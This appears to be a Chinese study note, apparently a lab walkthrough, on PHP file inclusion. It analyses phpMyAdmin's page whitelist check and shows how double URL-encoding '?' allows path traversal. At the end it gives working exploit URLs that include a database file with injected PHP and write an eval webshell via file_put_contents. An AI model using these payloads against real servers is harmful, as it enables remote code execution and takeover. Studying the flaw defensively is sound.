引用后端代码进行执行
本地文件包含(LFI) => 在目标机器上,上传文件马然后包含
远程文件包含(RFI) => 访问外网的某个文件并包含(allow_url_include=On
)
Windows 可以通过 SMB 文件共享 绕过 allow_url_include = On
,文件包含的时候通过 SMB 共享文件来包含
cmd小技巧:
可以通过相对路径,先访问不错在的文件夹,再通过../
跳出到正确位置
但在拍 PHP 中,?
代表传参,所以写不存在路径时不能写 ?
查找include
,寻找可能存在利用点的代码
找到存在可利用点的代码
if (! empty($_REQUEST['target']) && is_string($_REQUEST['target']) && ! preg_match('/^index/', $_REQUEST['target']) && ! in_array($_REQUEST['target'], $target_blacklist) && Core::checkPageValidity($_REQUEST['target']) ) { include $_REQUEST['target']; exit; }
! empty($_REQUEST['target']) && is_string($_REQUEST['target'])
判断参数为字符串(不需要考虑)
! preg_match('/^index/', $_REQUEST['target'])
不能为index
开头
! in_array($_REQUEST['target'], $target_blacklist)
不在黑名单里
Core::checkPageValidity($_REQUEST['target'])
调用 Core 中的方法
全部为 true 才可以执行
$target_blacklist = array ( 'import.php', 'export.php' );
黑名单就两个文件
public static function checkPageValidity(&$page, array $whitelist = []) { if (empty($whitelist)) { $whitelist = self::$goto_whitelist; } if (! isset($page) || !is_string($page)) { return false; } if (in_array($page, $whitelist)) { return true; } $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } return false; }
对白名单赋值(这里不作展示),要求传入参数在白名单中
$_page = urldecode($page);
对其 url 解密(bug)
mb_substr
截取(解码后)问号前的字符串
in_array($_page, $whitelist)
对截取得的字符串进行校验,看是否在白名单中
综上所述,找到白名单中任意一个,拼接 ?
的两次 url 编码(url栏会自动解码一次),后进行目录穿越到达目标文件即可被 include
包含
在 phpMyAdmin 页面查看数据储存位置:SELECT @@datadir
新建一个含有木马的字段
在白名单里随便找一个:sql.php
payload:?target=sql.php%253F/../../../../../../../../../phpStudy/MySQL/data/ch1/ch.frm&8=phpinfo();
尝试使用file_put_contents
写文件
?target=sql.php%253F/../../../../../../../../../phpStudy/MySQL/data/ch1/ch.frm&8=file_put_contents('1.php','<?php eval($_REQUEST[8])?>');